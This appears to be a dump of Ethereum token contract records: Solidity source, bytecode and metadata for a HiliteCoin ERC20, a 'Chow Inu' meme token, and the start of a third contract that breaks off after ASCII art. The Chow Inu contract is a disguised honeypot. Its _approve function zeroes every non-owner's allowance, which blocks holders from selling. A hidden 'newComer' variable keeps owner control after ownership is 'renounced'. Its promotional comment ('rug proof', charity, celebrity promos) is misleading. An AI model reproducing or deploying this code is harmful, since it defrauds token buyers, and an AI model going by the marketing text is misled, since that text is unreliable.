* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = ' Hilite Coin';
_symbol = 'Hili';
_decimals = 8;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract HiliteCoin is
ERC20,
Ownable {
constructor () public
ERC20 () {
_mint(msg.sender,1000000000000e8);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a610597565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a0565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610648565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106b3565b6102886106ce565b6102c061077b565b604080516001600160a01b039092168252519081900360200190f35b61010d61078f565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107f0565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610857565b6101ae6004803603604081101561035257600080fd5b506001600160a01b03813516906020013561089a565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108b0565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108db565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205461050290836109fd565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610531848484610a12565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105b557600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e390836109e4565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b610650610ad1565b60055461010090046001600160a01b039081169116146106a5576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6106af8282610ad5565b5050565b6001600160a01b031660009081526020819052604090205490565b6106d6610ad1565b60055461010090046001600160a01b0390811691161461072b576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b6107f8610ad1565b60055461010090046001600160a01b0390811691161461084d576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6106af8282610b71565b60006001600160a01b03831661086c57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e390836109fd565b60006108a7338484610a12565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108e3610ad1565b60055461010090046001600160a01b03908116911614610938576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6001600160a01b03811661097d5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c0d6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156109f657600080fd5b9392505050565b600082821115610a0c57600080fd5b50900390565b6001600160a01b038216610a2557600080fd5b6001600160a01b038316600090815260208190526040902054610a4890826109fd565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a7790826109e4565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610ae857600080fd5b600254610af590826109e4565b6002556001600160a01b038216600090815260208190526040902054610b1b90826109e4565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610b8457600080fd5b600254610b9190826109fd565b6002556001600160a01b038216600090815260208190526040902054610bb790826109fd565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212208474f7039094f6818f993cb5a6dc34357f88cdd037c05d24b6a85623728f4da264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,749 |
0x982381c58432ecca102a7d85781801a881094c1b
|
/**
👑 CHOW INU 👑
First there was Doge, then it was Shiba and up next is Chow. Community based token backed by memes, a renowned dev team and industry leading marketers. Hyper-deflationary with reflections that reward holders and the only dog with a blue tongue making it primed for the memes!
TG✉️: https://t.me/chowinu_eth
Website 🌎 www.chowinu.io
Important Points:
- Dev team has worked on top 50 coins
- Instant rewards for holders
- Marketing team that has grown projects such as Baby Doge, Mini Doge & more
- Charity donations to rescue dogs
- Rug proof with LP locked
- Farming & staking system
- One goal in mind: Be the biggest meme dog coin ever created
- Community operated: The holders choose via a majority vote what marketing efforts they want to see happen
Marketing Plan From Launch:
- A List Celebrity Promo
- Billboards / Guerilla Marketing
- PR Campaign
- Micro Influencer Promo
- Reddit Promo
- Crypto Twitter Promo
- YouTube Crypto Promo
- North America & Asia shill team for 24/7 shilling
- Partnerships with emerging brands to accept Chow Inu
- Exchange listings
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Chowinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Chow Inu ' ;
string private _symbol = 'CHOWINU ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122045622e87289130794557650513792a135bab4ad86a21e68760dba51425cfcfff64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,750 |
0x1d9e2a22e74746860b4083acf0b24ef9cab90d31
|
/**
*Submitted for verification at Etherscan.io on 2021-10-02
*/
/*
`` ```
`+dd:. .-ydh/`
:mMhho. `./hsmMy`
.hMMd/dh/. .omooNMN/`
-NMmssodm/-` `-dNsssyMMh.
`/NMysss/mNh:: `-smNs+sssmMN:
-yMMsssss/mMm+..`:::::::: `-yNMs+ysssdMMy`
-yMMsssssooNmhshyyyssssys//smNd/sssssdMMm`
-yMMssssso+yNNMMMMNmddNNMMMNMds+sssssdMMm`
-sMMdsohmmNMMMMMMMMMNNMMMMMMMMMNmdssyNMN+
`-mMm+yMMMddMMMMMMMMMMMMMMMMMNhNMMm/yMMs
`+NhdMMN::`/mMMMMMMMMMMMMMMy:..sMMNomd:-
-yhMMMm```.dMMMNNdhhdNNMMM+```+MMMMNs-
+MMMMMh+sdMMMmhhmNNmhhmMMNy+sNMMMMMo`
.dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm.
`:+NMMMNNMMMMMMMMMMy::ohNMMMMMMMMmMMMMN+`
`-yMMMMNsdMMMMMMMNos+````oNMMMMMMNohMMMMMh-`
`:hMMMMMohdmmNNNmddh-.``.-hddmNNNmdd/mMMMMMh-
:+NMMMMMModddddddddddhy-oyhdhdddhdodm/dMMMMMMN/`
/hMMMMMMMm+mddddddddddm/dddyhdyhhhddy+MMMMMMMMh.
-sMMMMMMMm+yddddddddddd/hddddddddddd/oMMMMMMMms.
`:yNMMMMNds`+shhhhyooo+o+oooohhhhhs/ omNMMMMms.
-ommNNmds /o:+o+++o++sss++o+++o/++ omdmNNms.`
-sddddds`:ss+/``.+osssss++```++y/`sdddddy:`
-sddddd:`yyss+/ossyhhysss+/osss.-dddddy.`
.ydddd+`sdhdhhhhdddyhdhhhyyyhs./ddddh-.
-dyodh`:ddddddddddyoddddddhd:`ydoyd:
`/h+dm+`sdddddddddysddddddds`/dd/h/
-+hdd/.sddddddddohddddddy./ddh+/.
.:hdd/.sddddddddddddddy.:ddh/.
